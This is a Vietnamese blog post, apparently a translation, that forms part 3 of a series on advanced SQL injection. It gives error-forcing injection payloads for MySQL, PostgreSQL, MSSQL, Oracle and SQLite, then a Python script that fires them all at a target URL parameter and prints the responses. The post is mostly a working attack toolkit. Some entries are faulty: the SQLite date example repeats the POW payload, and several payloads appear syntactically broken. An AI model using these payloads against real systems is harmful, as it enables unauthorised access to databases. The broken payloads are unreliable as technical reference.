Notification texts go here Contact Us Buy Now!

[Bản dịch] Kỹ thuật SQL Injection nâng cao - Phần 3

Table of Contents

Phương pháp nâng cao để tạo lỗi bắt buộc trên nhiều DBMS khác nhau

Sau đây là một số kỹ thuật nâng cao dành riêng cho một số DBMS để buộc lỗi và thu thập thông tin có giá trị. Bằng cách sử dụng các phương pháp nâng cao này để buộc lỗi trên các DBMS khác nhau, bạn có thể thu thập thông tin chi tiết

Phương pháp nâng cao để tạo lỗi bắt buộc trên nhiều DBMS khác nhau

MySQL

Sử dụng các hàm không hợp lệ
  • MySQL cung cấp nhiều hàm có thể gây ra lỗi khi sử dụng không đúng cách.
' AND EXP(~(SELECT * FROM (SELECT 1) t)) -- 
Chuyển đổi thập lục phân không hợp lệ
  • Sử dụng các giá trị thập lục phân không hợp lệ có thể gây ra lỗi.
' AND 0xG1 --
Các truy vấn phụ trong mệnh đề SELECT
  • Sử dụng các truy vấn phụ trả về nhiều hàng trong một ngữ cảnh giá trị duy nhất.
' AND (SELECT * FROM (SELECT 1,2) t) = 1 -- 

PostgreSQL

Biểu thức chính quy không hợp lệ
  • Các hàm regex của PostgreSQL có thể bị sử dụng không đúng cách và gây ra lỗi.
' AND 'a' ~ 'b[' -- 
Hoạt động JSON không hợp lệ
  • Sử dụng các hàm JSON có thao tác không hợp lệ.
' AND jsonb_path_query_first('{"a":1}', '$.a') -- 
CTE đệ quy
  • Sử dụng Biểu thức bảng chung đệ quy (CTE) không đúng cách.
' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t) SELECT * FROM t --  

MSSQL

Truy vấn XML không hợp lệ
  • Các hàm XML của MSSQL có thể tạo ra lỗi khi sử dụng với XML không hợp lệ.
'; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>'; SELECT @xml.value('(/root/c)[1]', 'INT') --
Chuyển đổi dữ liệu không hợp lệ
  • Các hàm chuyển đổi có thể gây ra lỗi khi chuyển đổi các kiểu dữ liệu không tương thích.
'; SELECT CAST('text' AS INT) --
SQL Injection với các hàm lỗi
  • Sử dụng các hàm lỗi tích hợp để tạo lỗi.
'; RAISERROR('Error generated', 16, 1) -- 

Oracle

Thao tác dữ liệu không hợp lệ
  • Các chức năng cụ thể và thao tác dữ liệu của Oracle có thể gây ra lỗi.
' UNION SELECT UTL_INADDR.get_host_address('invalid_host') FROM dual --
Sử dụng XMLType không hợp lệ
  • Sử dụng XMLType không đúng cách có thể gây ra lỗi.
' UNION SELECT XMLType('<invalid><xml>') FROM dual --
Sử dụng SYS.DBMS_ASSERT
  • Tận dụng gói khẳng định của Oracle để buộc lỗi.
' UNION SELECT SYS.DBMS_ASSERT.noop('invalid_input') FROM dual --

SQLite

Các hàm chuỗi không hợp lệ
  • Các hàm chuỗi của SQLite có thể tạo ra lỗi khi sử dụng không đúng cách.
 ' UNION SELECT SUBSTR('text', -1, 1) --
Các phép toán không hợp lệ
  • Sử dụng các hàm toán học với dữ liệu đầu vào không hợp lệ.
' UNION SELECT POW('text', 2) --
Các hàm ngày không hợp lệ
  • Sử dụng hàm ngày tháng với tham số không chính xác.
' UNION SELECT POW('text', 2) --

Tập lệnh Python để ép lỗi

Tự động Injection lỗi
import requests

url = "http://example.com/vulnerable.php"
payloads = [
    # MySQL
    "' AND EXP(~(SELECT * FROM (SELECT 1) t)) -- ",
    "' AND 0xG1 -- ",
    "' AND (SELECT * FROM (SELECT 1,2) t) = 1 -- ",
    # PostgreSQL
    "' AND 'a' ~ 'b[' -- ",
    "' AND jsonb_path_query_first('{'a':1}', '$.a') -- ",
    "' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t) SELECT * FROM t -- ",
    # MSSQL
    "; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>'; SELECT @xml.value('(/root/c)[1]', 'INT') -- ",
    "; SELECT CAST('text' AS INT) -- ",
    "; RAISERROR('Error generated', 16, 1) -- ",
    # Oracle
    "' UNION SELECT UTL_INADDR.get_host_address('invalid_host') FROM dual -- ",
    "' UNION SELECT XMLType('<invalid><xml>') FROM dual -- ",
    "' UNION SELECT SYS.DBMS_ASSERT.noop('invalid_input') FROM dual -- ",
    # SQLite
    "' UNION SELECT SUBSTR('text', -1, 1) -- ",
    "' UNION SELECT POW('text', 2) -- ",
    "' UNION SELECT DATE('invalid_date') -- ",
]

for payload in payloads:
    response = requests.get(url, params={"id": payload})
    print(f"Payload: {payload}")
    print(f"Response: {response.text}\n")

Hết Phần 3

Phần 1 tại đây | Phần 2 tại đây | Phần 4 tại đây

Đăng nhận xét

Cookie Consent
We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
Oops!
It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
AdBlock Detected!
We have detected that you are using adblocking plugin in your browser.
The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
Site is Blocked
Sorry! This site is not available in your country.